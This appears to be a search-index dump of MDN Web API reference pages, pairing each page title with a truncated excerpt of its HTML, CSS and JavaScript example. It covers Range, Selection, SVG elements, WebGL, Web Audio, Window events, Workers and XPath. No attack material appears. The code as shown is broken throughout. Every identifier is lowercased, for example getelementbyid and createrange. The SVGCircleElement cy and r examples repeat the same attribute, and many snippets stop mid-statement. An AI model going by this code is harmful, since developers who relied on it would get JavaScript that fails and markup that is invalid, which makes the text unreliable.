html <p id="p"><b>use the buttons below</b> to select or deselect the contents of this paragraph.</p> <button id="select-button">select paragraph</button> <button id="deselect-button">deselect paragraph</button> javascript const p = document.getelementbyid('p'); const selectbutton = document.getelementbyid('select-button'); const deselectbutton = document.getelementbyid('deselect-button'); selectbutton.addeventlistener('click', e => { // clear any current selection const selection = window.getselection(); selection.removeallranges(); // select paragraph const range = document.createrange(); range.sel...
Range.surroundContents() - Web APIs
example html <span class="header-text">put this in a headline</span> javascript const range = document.createrange(); const newparent = document.createelement('h1'); range.selectnode(document.queryselector('.header-text')); range.surroundcontents(newparent); result specifications specification status comment domthe definition of 'range.surroundcontents()' in that specification.
Range.toString() - Web APIs
WebAPIRangetoString
look at the output below.</p> <p id="log"></p> javascript const range = document.createrange(); range.setstartbefore(document.getelementsbytagname('b').item(0), 0); range.setendafter(document.getelementsbytagname('b').item(1), 0); document.getelementbyid('log').textcontent = range.tostring(); result specifications specification status comment domthe definition of 'range.tostring()' in that specification.
Request.mode - Web APIs
WebAPIRequestmode
in addition, javascript may not access any properties of the resulting response.
ResizeObserver - Web APIs
the javascript looks like so: const h1elem = document.queryselector('h1'); const pelem = document.queryselector('p'); const divelem = document.queryselector('body > div'); const slider = document.queryselector('input[type="range"]'); const checkbox = document.queryselector('input[type="checkbox"]'); divelem.style.width = '600px'; slider.addeventlistener('input', () => { divelem.style.width = slider.value +...
Resize Observer API - Web APIs
it provides a javascript solution to the often-discussed lack of element queries in the web platform.
cx - Web APIs
example svg <svg xmlns="http://www.w3.org/2000/svg" viewbox="0 0 100 100" width="200" height="200"> <circle cx="50" cy="50" r="50" fill="gold" id="circle"/> </svg> javascript const circle = document.getelementbyid('circle'); console.log(circle.cx); specifications specification status comment scalable vector graphics (svg) 2the definition of 'svgcircleelement.cx' in that specification.
cy - Web APIs
example svg <svg xmlns="http://www.w3.org/2000/svg" viewbox="0 0 100 100" width="200" height="200"> <circle cy="50" cy="50" r="50" fill="gold" id="circle"/> </svg> javascript const circle = document.getelementbyid('circle'); console.log(circle.cy); specifications specification status comment scalable vector graphics (svg) 2the definition of 'svgcircleelement.cy' in that specification.
r - Web APIs
example svg <svg xmlns="http://www.w3.org/2000/svg" viewbox="0 0 100 100" width="200" height="200"> <circle r="50" r="50" r="50" fill="gold" id="circle"/> </svg> javascript const circle = document.getelementbyid('circle'); console.log(circle.r); specifications specification status comment scalable vector graphics (svg) 2the definition of 'svgcircleelement.r' in that specification.
SVGCircleElement - Web APIs
example svg content <svg xmlns="http://www.w3.org/2000/svg" viewbox="0 0 250 250" width="250" height="250"> <circle cx="100" cy="100" r="50" fill="gold" id="circle" onclick="clickcircle();"/> </svg> javascript content this function clickcircle() is called when the circle is clicked.
SVGEllipseElement - Web APIs
example svg content <svg width="200" height="200" xmlns="http://www.w3.org/2000/svg"> <ellipse cx="100" cy="100" rx="100" ry="60" id="ellipse" onclick="outputsize();"/> </svg> javascript content function outputsize() { var ellipse = document.getelementbyid("ellipse"); // outputs "horizontal radius: 100 vertical radius: 60" console.log( 'horizontal radius: ' + ellipse.rx.baseval.valueasstring, 'vertical radius: ' + ellipse.ry.baseval.valueasstring ) } result specifications specification status comment scalable vector graphics (svg...
SVGGeometryElement.isPointInFill() - Web APIs
example svg <svg viewbox="0 0 100 100" width="150" height="150" xmlns="http://www.w3.org/2000/svg"> <circle id="circle" cx="50" cy="50" r="45" fill="white" stroke="black" stroke-width="10"/> <circle cx="10" cy="10" r="5" fill="seagreen"/> <circle cx="40" cy="30" r="5" fill="seagreen"/> </svg> javascript var circle = document.getelementbyid('circle'); // point not in circle console.log('point at 10,10:', circle.ispointinfill(new dompoint(10, 10))); // point in circle console.log('point at 40,30:', circle.ispointinfill(new dompoint(40, 30))); result specifications specification status comment scalable vector graphics (svg) 2the definition of 'svggeometryelement.ispo...
SVGGeometryElement.isPointInStroke() - Web APIs
example svg <svg viewbox="0 0 100 100" width="150" height="150" xmlns="http://www.w3.org/2000/svg"> <circle id="circle" cx="50" cy="50" r="45" fill="white" stroke="black" stroke-width="10"/> <circle cx="10" cy="10" r="5" fill="seagreen"/> <circle cx="40" cy="30" r="5" fill="seagreen"/> <circle cx="83" cy="17" r="5" fill="seagreen"/> </svg> javascript var circle = document.getelementbyid('circle'); // point not in circle console.log('point at 10,10:', circle.ispointinstroke(new dompoint(10, 10))); // point in circle but not stroke console.log('point at 40,30:', circle.ispointinstroke(new dompoint(40, 30))); // point in circle stroke console.log('point at 83,17:', circle.ispointinstroke(new dompoint(83, 17))); result specifications ...
SVGGraphicsElement: copy event - Web APIs
" height="320" xmlns="http://www.w3.org/2000/svg"> <text x="5" y="10" id="text-to-copy">copy this text</text> <foreignobject x="5" y="20" width="90" height="20"> <input xmlns="http://www.w3.org/1999/xhtml" placeholder="paste it here"/> </foreignobject> </svg> css input { font-size: 10px; width: 100%; height: 90%; box-sizing: border-box; border: 1px solid black; } javascript document.getelementsbytagname("text")[0].addeventlistener("copy", evt => { evt.clipboarddata.setdata('text/plain', document.getselection().tostring().touppercase()); evt.preventdefault(); }); result specifications specification status comment scalable vector graphics (svg) 2 candidate recommendation definition that the clipboard events apply to svg elements...
getBBox() - Web APIs
="5" y="16" transform="scale(2, 2)">hello world!</text> <text x="8" y="32" transform="translate(0 20) scale(1.25 1)">hello world again!</text> </g> <!-- shows bbox in green --> <rect id="rect_1" stroke="#00ff00" stroke-width="3" fill="none"> </rect> <!-- shows boundingclientrect in red --> <rect id="rect_2" stroke="#ff0000" stroke-width="3" fill="none"></rect> </svg> javascript var rectbbox = document.queryselector('#rect_1'); var rectboundingclientrect = document.queryselector('#rect_2'); var groupelement = document.queryselector('#group_text_1'); var bboxgroup = groupelement.getbbox(); rectbbox.setattribute('x', bboxgroup.x); rectbbox.setattribute('y', bboxgroup.y); rectbbox.setattribute('width', bboxgroup.width); rectbbox.setattribute('height', bboxgroup.height); ...
SVGGraphicsElement: paste event - Web APIs
mlns="http://www.w3.org/2000/svg"> <foreignobject x="5" y="-10" width="90" height="20"> <input xmlns="http://www.w3.org/1999/xhtml" value="copy this text"/> </foreignobject> <text x="5" y="30" id="element-to-paste-text" tabindex="1">paste it here</text> </svg> css input { font-size: 10px; width: 100%; height: 90%; box-sizing: border-box; border: 1px solid black; } javascript document.getelementbyid("element-to-paste-text").addeventlistener("paste", evt => { evt.target.textcontent = evt.clipboarddata.getdata("text/plain").touppercase(); evt.preventdefault(); }); result specifications specification status comment scalable vector graphics (svg) 2 candidate recommendation definition that the clipboard events apply to svg elemen...
SVGLength - Web APIs
WebAPISVGLength
ype_ems = 3 svg_lengthtype_exs = 4 svg_lengthtype_px = 5 svg_lengthtype_cm = 6 svg_lengthtype_mm = 7 svg_lengthtype_in = 8 svg_lengthtype_pt = 9 svg_lengthtype_pc = 10 normative document svg 1.1 (2nd edition) example <svg height="200" onload="start();" version="1.1" width="200" xmlns="http://www.w3.org/2000/svg"> <script type="text/javascript"><![cdata[ function start() { var rect = document.getelementbyid("myrect"); var val = rect.x.baseval; // read x in pixel and cm units console.log("value: " + val.value + ", valueinspecifiedunits: " + val.unittype + ": " + val.valueinspecifiedunits + ", valueasstring: " + val.valueasstring); // set x = 20pt and read it out in pixel and pt units val.newvaluesp...
SVGRectElement - Web APIs
(changing the color of the rect interface on every click) svg content <svg xmlns="http://www.w3.org/2000/svg" version="1.1"> <rect width="300" height="100" id="myrect" onclick="dorectclick()" style="fill:rgb(0,0,255);stroke-width:1;stroke:rgb(0,0,0)" /> <text x="60" y="40" fill="white" font-size="40" onclick="dorectclick();">click me</text> </svg> javascript content function dorectclick(){ var myrect = document.getelementbyid('myrect'); var r = math.floor(math.random() * 255); var g = math.floor(math.random() * 255); var b = math.floor(math.random() * 255); myrect.style.fill = 'rgb(' + r + ', ' + g + ' , ' + b + ')'; } click the rect.
Screen.availHeight - Web APIs
let palettewindow = window.open("panels.html", "panels", "left=0, top=0, width=200"); the panels window's html, in panels.html, has javascript code of its own, which is executed as soon as the window is created.
Using the Screen Capture API - Web APIs
javascript there isn't all that much code needed in order to make this work, and if you're familiar with using getusermedia() to capture video from a camera, you'll find getdisplaymedia() to be very familiar.
ScriptProcessorNode - Web APIs
the scriptprocessornode interface allows the generation, processing, or analyzing of audio using javascript.
Selection.addRange() - Web APIs
html <p>i <strong>insist</strong> that you <strong>try</strong> selecting the <strong>strong words</strong>.</p> <button>select strong words</button> javascript let button = document.queryselector('button'); button.addeventlistener('click', function () { let selection = window.getselection(); let strongs = document.getelementsbytagname('strong'); if (selection.rangecount > 0) { selection.removeallranges(); } for (let i = 0; i < strongs.length; i++) { let range = document.createrange(); range.selectnode(strongs[i]); selection...
Selection.containsNode() - Web APIs
html <p>can you find the secret word?</p> <p>hmm, where <span id="secret" style="color:transparent">secret</span> could it be?</p> <p id="win" hidden>you found it!</p> javascript const secret = document.getelementbyid('secret'); const win = document.getelementbyid('win'); // listen for selection changes document.addeventlistener('selectionchange', () => { const selection = window.getselection(); const found = selection.containsnode(secret); win.toggleattribute('hidden', !found); }); result specifications specification status comment s...
Selection.deleteFromDocument() - Web APIs
once you do, you can remove the selected content by clicking the button below.</p> <button>delete selected text</button> javascript let button = document.queryselector('button'); button.addeventlistener('click', deleteselection); function deleteselection() { let selection = window.getselection(); selection.deletefromdocument(); } result specifications specification status comment selection apithe definition of 'selection.deletefromdocument()' in that specification.
Selection.modify() - Web APIs
WebAPISelectionmodify
sentence</option> <option value="line">line</option> <option value="paragraph">paragraph</option> <option value="lineboundary">line boundary</option> <option value="sentenceboundary">sentence boundary</option> <option value="paragraphboundary">paragraph boundary</option> <option value="documentboundary">document boundary</option> </select> <br><br> <button>extend selection</button> javascript let select = document.queryselector('select'); let button = document.queryselector('button'); button.addeventlistener('click', modify); function modify() { let selection = window.getselection(); selection.modify('extend', 'forward', select.value); } result specifications this method is not part of any specification.
Selection.rangeCount - Web APIs
html <table> <tr><td>a.1<td>a.2 <tr><td>b.1<td>b.2 <tr><td>c.1<td>c.2 javascript window.setinterval(function () { console.log(window.getselection().rangecount); }, 1000); result open your console to see how many ranges are in the selection.
Selection.selectAllChildren() - Web APIs
example html <main> <button>select footer</button> <p>welcome to my website.</p> <p>i hope you enjoy your visit.</p> </main> <footer> <address>webmaster@example.com</address> <p>© 2019</p> </footer> javascript const button = document.queryselector('button'); const footer = document.queryselector('footer'); button.addeventlistener('click', (e) => { window.getselection().selectallchildren(footer); }); result specifications specification status comment selection apithe definition of 'selection.selectallchildren()' in that specification.
Selection.setBaseAndExtent() - Web APIs
pan>plane</span></p> </div> <div> <p> <label for="aoffset">anchor offset</label> <input id="aoffset" name="aoffset" type="number" value="0"> </p> <p> <label for="foffset">focus offset</label> <input id="foffset" name="foffset" type="number" value="0"> </p> <p><button>capture selection</button></p> </div> <p><strong>output</strong>: <span class="output"></span></p> the javascript looks like so: var one = document.queryselector('.one'); var two = document.queryselector('.two'); var aoffset = document.getelementbyid('aoffset'); var foffset = document.getelementbyid('foffset'); var button = document.queryselector('button'); var output = document.queryselector('.output'); var selection; button.onclick = function() { try { selection = document.getselection(); s...
Selection.toString() - Web APIs
in javascript, this method is called automatically when a function the selection object is passed to requires a string: alert(window.getselection()) // what is called alert(window.getselection().tostring()) // what is actually being effectively called.
Server-sent events - Web APIs
living standard see also tools eventsource polyfill for node.js remy sharp’s eventsource polyfill yaffle’s eventsource polyfill rick waldron’s jquery plugin intercooler.js declarative sse support related topics ajax javascript websockets other resources a twitter like application powered by server-sent events and its code on github.
ShadowRoot - Web APIs
this defines whether or not the shadow root's internal features are accessible from javascript.
SharedWorker() - Web APIs
it should always be text/javascript.
SharedWorker - Web APIs
example in our basic shared worker example (run shared worker), we have two html pages, each of which uses some javascript to perform a simple calculation.
SharedWorkerGlobalScope - Web APIs
some additional global functions, namespaces objects, and constructors, not typically associated with the worker global scope, but available on it, are listed in the javascript reference.
Slottable: assignedSlot - Web APIs
here is one such example: <my-paragraph> <span slot="my-text">let's have some different text!</span> </my-paragraph> in our javascript file we get a reference to the <span> shown above, then log a reference to the original <slot> element the <span> was inserted in.
SpeechSynthesis.getVoices() - Web APIs
example javascript function populatevoicelist() { if(typeof speechsynthesis === 'undefined') { return; } var voices = speechsynthesis.getvoices(); for(var i = 0; i < voices.length; i++) { var option = document.createelement('option'); option.textcontent = voices[i].name + ' (' + voices[i].lang + ')'; if(voices[i].default) { option.textcontent += ' -- default'; } option.set...
StereoPannerNode.pan - Web APIs
in the javascript we create a mediaelementaudiosourcenode and a stereopannernode, and connect the two together using the connect() method.
StereoPannerNode - Web APIs
in the javascript we create a mediaelementaudiosourcenode and a stereopannernode, and connect the two together using the connect() method.
StorageEstimate.quota - Web APIs
</label> javascript content navigator.storage.estimate().then(function(estimate) { document.getelementbyid("percent").value = (estimate.usage / estimate.quota * 100).tofixed(2); }); result specifications specification status comment storagethe definition of 'quota' in that specification.
StorageEstimate.usage - Web APIs
</label> javascript content navigator.storage.estimate().then(function(estimate) { document.getelementbyid("percent").value = (estimate.usage / estimate.quota * 100).tofixed(2); }); result specifications specification status comment storagethe definition of 'usage' in that specification.
StorageManager.estimate() - Web APIs
</label> javascript content navigator.storage.estimate().then(function(estimate) { document.getelementbyid("percent").value = (estimate.usage / estimate.quota * 100).tofixed(2); }); result specifications specification status comment storagethe definition of 'estimate()' in that specification.
StylePropertyMapReadOnly.get() - Web APIs
let's start by creating a link inside a paragraph in our html, and adding a definition list which we will populate with javascript: <p> <a href="https://example.com">link</a> </p> <dl id="regurgitation"></dl> we add a bit of css, including a custom property and an inhertable property: p { font-weight: bold; } a { --colour: red; color: var(--colour); } we use the element's computedstylemap() to return a stylepropertymapreadonly object.
StylePropertyMapReadOnly - Web APIs
</p> <dl id="output"></dl> we add a touch of css with a custom property to better demonstrate the output: p { --somevariable: 1.6em; --someothervariable: translatex(33vw); --anothervariable: 42; line-height: var(--somevariable); } we add javascript to grab our paragraph and return back a definition list of all the default css property values using computedstylemap().
Text.splitText() - Web APIs
WebAPITextsplitText
html <p>foobar</p> javascript const p = document.queryselector('p'); // get contents of <p> as a text node const foobar = p.firstchild; // split 'foobar' into two text nodes, 'foo' and 'bar', // and save 'bar' as a const const bar = foobar.splittext(3); // create a <u> element containing ' new content ' const u = document.createelement('u'); u.appendchild(document.createtextnode(' new content ')); // add <u> before 'bar'...
TextDecoder.prototype.decode() - Web APIs
html <p>encoded value: <span id="encoded-value"></span></p> <p>decoded value: <span id="decoded-value"></span></p> javascript const encoder = new textencoder(); const array = encoder.encode('€'); // uint8array(3) [226, 130, 172] document.getelementbyid('encoded-value').textcontent = array; const decoder = new textdecoder(); const str = decoder.decode(array); // string "€" document.getelementbyid('decoded-value').textcontent = str; result specifications specification status comment enco...
TextEncoder - Web APIs
0, i = 0; i !== len; ) { point = str.charcodeat(i), i += 1; if (point >= 0xd800 && point <= 0xdbff) { if (i === len) { resarr[respos += 1] = 0xef/*0b11101111*/; resarr[respos += 1] = 0xbf/*0b10111111*/; resarr[respos += 1] = 0xbd/*0b10111101*/; break; } // https://mathiasbynens.be/notes/javascript-encoding#surrogate-formulae nextcode = str.charcodeat(i); if (nextcode >= 0xdc00 && nextcode <= 0xdfff) { point = (point - 0xd800) * 0x400 + nextcode - 0xdc00 + 0x10000; i += 1; if (point > 0xffff) { resarr[respos += 1] = (0x1e/*0b11110*/<<3) | (point>>>18); ...
TextMetrics - Web APIs
html <canvas id="canvas" width="550" height="500"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); const baselinesabovealphabetic = ['fontboundingboxascent', 'actualboundingboxascent', 'emheightascent', 'hangingbaseline']; const baselinesbelowalphabetic = ['ideographicbaseline', 'emheightdescent', 'actualboundingboxdescent', 'fontboundingboxdescent']; const baselines =...
Using Touch Events - Web APIs
examples and demos the following documents describe how to use touch events and include example code: touch events overview implement custom gestures introduction to touch events in javascript add touch screen support to your website (the easy way) touch event demonstrations: paint program (by rick byers) touch/pointer tests and demos (by patrick h.
TrackEvent - Web APIs
tracklist)) { trackkind = "audio"; } else if (event.target instanceof(texttracklist)) { trackkind = "text"; } else { trackkind = "unknown"; } switch(event.type) { case "addtrack": console.log("added a " + trackkind + " track"); break; case "removetrack": console.log("removed a " + trackkind + " track"); break; } } the event handler uses the javascript instanceof operator to determine which type of track the event occurred on, then outputs to console a message indicating what kind of track it is and whether it's being added to or removed from the element.
UIEvent.layerX - Web APIs
WebAPIUIEventlayerX
examples <html> <head> <title>pagex\pagey & layerx\layery example</title> <script type="text/javascript"> function showcoords(evt){ var form = document.forms.form_coords; var parent_id = evt.target.parentnode.id; form.parentid.value = parent_id; form.pagexcoords.value = evt.pagex; form.pageycoords.value = evt.pagey; form.layerxcoords.value = evt.layerx; form.layerycoords.value = evt.layery; } </script> <style type="text/css"> #d1 { border: solid blue 1px; padding: 20px; } #...
UIEvent.layerY - Web APIs
WebAPIUIEventlayerY
example <html> <head> <title>pagex\pagey & layerx\layery example</title> <script type="text/javascript"> function showcoords(evt){ var form = document.forms.form_coords; var parent_id = evt.target.parentnode.id; form.parentid.value = parent_id; form.pagexcoords.value = evt.pagex; form.pageycoords.value = evt.pagey; form.layerxcoords.value = evt.layerx; form.layerycoords.value = evt.layery; } </script> <style type="text/css"> #d1 { border: solid blue 1px; padding: 20px; } #...
UIEvent.pageY - Web APIs
WebAPIUIEventpageY
example <html> <head> <title>pagex\pagey & layerx\layery example</title> <script type="text/javascript"> function showcoords(evt){ var form = document.forms.form_coords; var parent_id = evt.target.parentnode.id; form.parentid.value = parent_id; form.pagexcoords.value = evt.pagex; form.pageycoords.value = evt.pagey; form.layerxcoords.value = evt.layerx; form.layerycoords.value = evt.layery; } </script> <style type="text/css"> #d1 { border: solid blue 1px; padding: 20px; } ...
URL() - Web APIs
WebAPIURLURL
if the given base url or the resulting url are not valid urls, the javascript typeerror exception is thrown.
URLSearchParams.set() - Web APIs
you can copy and paste the example in a code environment like codepen, jsfiddle, or the multi-line javascript interpreter in firefox.
USVString - Web APIs
WebAPIUSVString
usvstring maps to a string when returned in javascript; it's generally only used for apis that perform text processing and need a string of unicode scalar values to operate on.
VTTCue - Web APIs
WebAPIVTTCue
example html <video controls src="https://udn.realityripple.com/samples/c6/f8a3489533.webm"></video> css video { width: 320px; height: 180px; } javascript let video = document.queryselector('video'); video.addeventlistener('loadedmetadata', () => { const track = video.addtexttrack("captions", "简体中文subtitles", "zh_cn"); track.mode = "showing"; const cuecn = new vttcue(0, 2.500, '字幕会在0至2.5秒间显示'); track.addcue(cuecn); const cueen = new vttcue(2.6, 4, 'subtitles will display between 2.6 and 4 seconds'); track.ad...
WebGLRenderingContext.enableVertexAttribArray() - Web APIs
these are only available to the javascript code and the vertex shader.
WebGLRenderingContext.getUniformLocation() - Web APIs
having done this, the next time the shading functions are called, their own variables named uscalingfactor, uglobalcolor, and urotationvector will all have the values provided by the javascript code.
WebGLRenderingContext.makeXRCompatible() - Web APIs
javascript the code that handles starting up graphics, switching to vr mode, and so forth looks like this: const outputcanvas = document.queryselector(".output-canvas"); const gl = outputcanvas.getcontext("webgl"); let xrsession = null; let usingxr = false; let currentscene = "scene1"; let glstartbutton; let xrstartbutton; window.addeventlistener("load", (event) => { loadsceneresources(currentscene); ...
WebGLRenderingContext.vertexAttribPointer() - Web APIs
keep in mind that these webgl functions have a slow performance and it is better to store the state inside your javascript application.
WebGL by example - Web APIs
boilerplate 1 the example describes repeated pieces of code that will be hidden from now on, as well as defining a javascript utility function to make webgl initialization easier.
Using shaders to apply color in WebGL - Web APIs
// white 1.0, 0.0, 0.0, 1.0, // red 0.0, 1.0, 0.0, 1.0, // green 0.0, 0.0, 1.0, 1.0, // blue ]; const colorbuffer = gl.createbuffer(); gl.bindbuffer(gl.array_buffer, colorbuffer); gl.bufferdata(gl.array_buffer, new float32array(colors), gl.static_draw); return { position: positionbuffer, color: colorbuffer, }; } this code starts by creating a javascript array containing four 4-value vectors, one for each vertex color.
Introduction to the Real-time Transport Protocol (RTP) - Web APIs
note: this example makes use of modern javascript features including async functions and the await expression.
Signaling and video calling - Web APIs
the javascript code we'll divide this code into functional areas to more easily describe how it works.
A simple RTCDataChannel sample - Web APIs
<div class="messagebox" id="receivebox"> <p>messages received:</p> </div> the javascript code while you can just look at the code itself on github, below we'll review the parts of the code that do the heavy lifting.
Using DTMF with WebRTC - Web APIs
note that this example is "cheating" by generating both peers in one code stream, rather than having each be a truly separate entity.</p> <audio id="audio" autoplay controls></audio><br/> <button name="dial" id="dial">dial</button> <div class="log"></div> javascript let's take a look at the javascript code next.
Improving compatibility using WebRTC adapter.js - Web APIs
the adapter is a javascript shim which lets your code to be written to the specification so that it will "just work" in all browsers with webrtc support.
WebRTC API - Web APIs
the adapter is a javascript shim which lets your code to be written to the specification so that it will "just work" in all browsers with webrtc support.
WebSocket.send() - Web APIs
WebAPIWebSocketsend
arraybufferview you can send any javascript typed array object as a binary frame; its binary data contents are queued in the buffer, increasing the value of bufferedamount by the requisite number of bytes.
The WebSocket API (WebSockets) - Web APIs
related topics ajax javascript specifications specification status comments html living standardthe definition of 'websocket api' in that specification.
Movement, orientation, and motion: A WebXR example - Web APIs
putting it all together when you take all of this code and add in the html and the other javascript code not included above, you get what you see when you try out this example on glitch.
WebXR performance guide - Web APIs
that means that for every frame, the javascript runtime has to allocate memory for those and set them up—possibly triggering garbage collection—and then when each interaction of the loop is completed, the memory is released.
Keyframe Formats - Web APIs
two exceptional css properties are: float, which must be written as cssfloat since "float" is a reserved word in javascript.
Basic concepts behind Web Audio API - Web APIs
audio sources can be obtained in a number of ways: sound can be generated directly in javascript by an audio node (such as an oscillator).
Controlling multiple parameters with ConstantSourceNode - Web APIs
font: 14px "open sans", "lucida grande", "arial", sans-serif; position: absolute; right: 0; display: table-cell; vertical-align: middle; } .right span { vertical-align: middle; } .right input { vertical-align: baseline; } .left { width: 50%; position: absolute; left: 0; display: table-cell; vertical-align: middle; } .left span, .left input { vertical-align: middle; } javascript now let's take a look at the javascript code, a piece at a time.
Example and tutorial: Simple synth keyboard - Web APIs
dle; width: 100%; height: 30px; } .left { width: 50%; position: absolute; left: 0; display: table-cell; vertical-align: middle; } .left span, .left input { vertical-align: middle; } .right { width: 50%; position: absolute; right: 0; display: table-cell; vertical-align: middle; } .right span { vertical-align: middle; } .right input { vertical-align: baseline; } javascript the javascript code begins by initializing a number of variables.
Using the Web Audio API - Web APIs
controlling sound programmatically from javascript code is covered by browsers' autoplay support policies, as such is likely to be blocked without permission being granted by the user (or a whitelist).
Visualizations with Web Audio API - Web APIs
the first one produces 32-bit floating point numbers, and the second and third ones produce 8-bit unsigned integers, therefore a standard javascript array won't do — you need to use a float32array or uint8array array, depending on what data you are handling.
Using the Web Storage API - Web APIs
on the events page (see events.js) the only javascript is as follows: window.addeventlistener('storage', function(e) { document.queryselector('.my-key').textcontent = e.key; document.queryselector('.my-old').textcontent = e.oldvalue; document.queryselector('.my-new').textcontent = e.newvalue; document.queryselector('.my-url').textcontent = e.url; document.queryselector('.my-storage').textcontent = json.stringify(e.storagearea); }); here w...
Web Storage API - Web APIs
stores data with no expiration date, and gets cleared only through javascript, or clearing the browser cache / locally stored data.
The structured clone algorithm - Web APIs
the structured clone algorithm copies complex javascript objects.
Web Workers API - Web APIs
worker()) that runs a named javascript file — this file contains the code that will run in the worker thread; workers run in another global context that is different from the current window.
Window: blur event - Web APIs
WebAPIWindowblur event
html <p id="log">click on this document to give it focus.</p> css .paused { background: #ddd; color: #555; } javascript function pause() { document.body.classlist.add('paused'); log.textcontent = 'focus lost!'; } function play() { document.body.classlist.remove('paused'); log.textcontent = 'this document has focus.
Window: clipboardchange event - Web APIs
bubbles no cancelable no interface clipboardevent event handler property none examples javascript window.addeventlistener('clipboardchange', () => { console.log('clipboard contents changed'); }); specifications specification status clipboard api and eventsthe definition of 'clipboardchange event' in that specification.
Window.crypto - Web APIs
WebAPIWindowcrypto
javascript genrandomnumbers = function getrandomnumbers() { var array = new uint32array(10); window.crypto.getrandomvalues(array); var randtext = document.getelementbyid("myrandtext"); randtext.innerhtml = "the random numbers are: " for (var i = 0; i < array.length; i++) { randtext.innerhtml += array[i] + " "; } } html <p id="myrandtext">the random numbers are: </p> <button type="button"...
Window.find() - Web APIs
WebAPIWindowfind
example javascript findstring = function findtext(text) { alert("string \x22" + text + "\x22 found?
Window: focus event - Web APIs
html <p id="log">click on this document to give it focus.</p> css .paused { background: #ddd; color: #555; } javascript function pause() { document.body.classlist.add('paused'); log.textcontent = 'focus lost!'; } function play() { document.body.classlist.remove('paused'); log.textcontent = 'this document has focus.
Window.matchMedia() - Web APIs
WebAPIWindowmatchMedia
javascript let mql = window.matchmedia('(max-width: 600px)'); document.queryselector(".mq-value").innertext = mql.matches; the javascript code simply passes the media query to match into matchmedia() to compile it, then sets the <span>'s innertext to the value of the results' matches property, so that it indicates whether or not the document matches the media query at the moment the page was loaded.
Window.mozAnimationStartTime - Web APIs
this also allows javascript-based animations to remain synchronized with css transitions and smil animations triggered during the same refresh interval.
Window.ondragdrop - Web APIs
WebAPIWindowondragdrop
<html> <head><title>dragdroptest</title> <script type="text/javascript"> window.addeventlistener("dragdrop", testfunc, false); function testfunc(event) { alert("dragdrop!"); event.stoppropagation(); } </script> </head> <body> i am bodytext </body> </html> specification not part of specification.
Window.onmozbeforepaint - Web APIs
this is used in concert with the window.mozrequestanimationframe() method to perform smooth, synchronized animations from javascript code.
Privileged features - Web APIs
the page is supposed to provide a user interface of its own, usually this feature is used to open xul documents (standard dialogs like the javascript console are opened this way).
Window.pageYOffset - Web APIs
<iframe id="frame"> </iframe> <div id="info"> </div> javascript var frame = document.getelementbyid("frame"); var framedoc = frame.contentdocument; var info = document.getelementbyid("info"); var target = framedoc.getelementbyid("overview"); framedoc.scrollingelement.scrolltop = target.offsettop; info.innertext = "y offset after scrolling: " + frame.contentwindow.pageyoffset + " pixels"; the javascript code begins by getting into frame an...
Window: pageshow event - Web APIs
javascript const events = [ "pagehide", "pageshow", "unload", "load" ]; const eventlogger = event => { switch (event.type) { case "pagehide": case "pageshow": let ispersisted = event.persisted ?
Window: popstate event - Web APIs
the popstate event will be triggered by doing a browser action such as a click on the back or forward button (or calling history.back() or history.forward() in javascript).
Window: rejectionhandled event - Web APIs
the rejectionhandled event is sent to the script's global scope (usually window but also worker) whenever a javascript promise is rejected but after the promise rejection has been handled.
Window: unhandledrejection event - Web APIs
the unhandledrejection event is sent to the global scope of a script when a javascript promise that has no rejection handler is rejected; typically, this is the window, but may also be a worker.
WindowEventHandlers.onpopstate - Web APIs
the popstate event is only triggered by performing a browser action, such as clicking on the back button (or calling history.back() in javascript), when navigating between two history entries for the same document.
WindowOrWorkerGlobalScope.queueMicrotask() - Web APIs
see using microtasks in javascript with queuemicrotask() for more details.
WindowOrWorkerGlobalScope - Web APIs
windoworworkerglobalscope.queuemicrotask() enqueues a microtask—a short function to be executed after execution of the javascript code completes and control isn't being returned to a javascript caller, but before handling callbacks and other tasks.
Worker() - Web APIs
WebAPIWorkerWorker
it should always be text/javascript.
Worker - Web APIs
WebAPIWorker
worker.postmessage() sends a message — consisting of any javascript object — to the worker's inner scope.
WorkerLocation - Web APIs
this interface is only visible from inside a javascript script executed in the context of a web worker.
Worklet - Web APIs
WebAPIWorklet
with worklets, you can run javascript and webassembly code to do graphics rendering or audio processing where high performance is required.
How to check the security state of an XMLHTTPRequest over SSL - Web APIs
here is a an example javascript function that prints the security details of an xmlhttprequest sent over ssl.
Synchronous and asynchronous requests - Web APIs
example.html (the main page): <!doctype html> <html> <head> <meta http-equiv="content-type" content="text/html; charset=utf-8" /> <title>mdn example</title> <script type="text/javascript"> var worker = new worker("mytask.js"); worker.onmessage = function(event) { alert("worker said: " + event.data); }; worker.postmessage("hello"); </script> </head> <body></body> </html> myfile.txt (the target of the synchronous xmlhttprequest invocation): hello world!!
Using XMLHttpRequest in IE6 - Web APIs
however, in ie7 and other browsers xmlhttprequest is a native javascript object.
init() - Web APIs
warning: this method must not be called from javascript.
XMLHttpRequest.mozResponseArrayBuffer - Web APIs
obsolete since gecko 6 is an arraybuffer response to the request, written as a javascript typed array.
XMLHttpRequest.openRequest() - Web APIs
to initialize a request from javascript code, use the standard open() method instead.
XPathEvaluator.createExpression() - Web APIs
html <div>xpath example</div> <div>number of &lt;div&gt;s: <output></output></div> javascript var xpath = "//div"; var evaluator = new xpathevaluator(); var expression = evaluator.createexpression("//div"); var result = expression.evaluate(document, xpathresult.ordered_node_snapshot_type); document.queryselector("output").textcontent = result.snapshotlength; result specifications specification status comment document object model (dom) level 3 xpath specific...
XPathEvaluator.evaluate() - Web APIs
html <div>xpath example</div> <div>number of &lt;div&gt;s: <output></output></div> javascript var evaluator = new xpathevaluator(); var result = evaluator.evaluate("//div", document, null, xpathresult.ordered_node_snapshot_type); document.queryselector("output").textcontent = result.snapshotlength; result specifications specification status comment document object model (dom) level 3 xpath specificationthe definition of 'xpathevaluator.evaluate()' in that sp...
XPathEvaluator - Web APIs
html <div>xpath example</div> <div>number of &lt;div&gt;s: <output></output></div> javascript var xpath = "//div"; var evaluator = new xpathevaluator(); var expression = evaluator.createexpression("//div"); var result = expression.evaluate(document, xpathresult.ordered_node_snapshot_type); document.queryselector("output").textcontent = result.snapshotlength; result specifications specification status comment document object model (dom) level 3 xpath specific...
XPathExpression.evaluate() - Web APIs
html <div>xpath example</div> <div>number of &lt;div&gt;s: <output></output></div> javascript var xpath = "//div"; var evaluator = new xpathevaluator(); var expression = evaluator.createexpression("//div"); var result = expression.evaluate(document, xpathresult.ordered_node_snapshot_type); document.queryselector("output").textcontent = result.snapshotlength; result specifications specification status comment document object model (dom) level 3 xpath specific...
XPathExpression - Web APIs
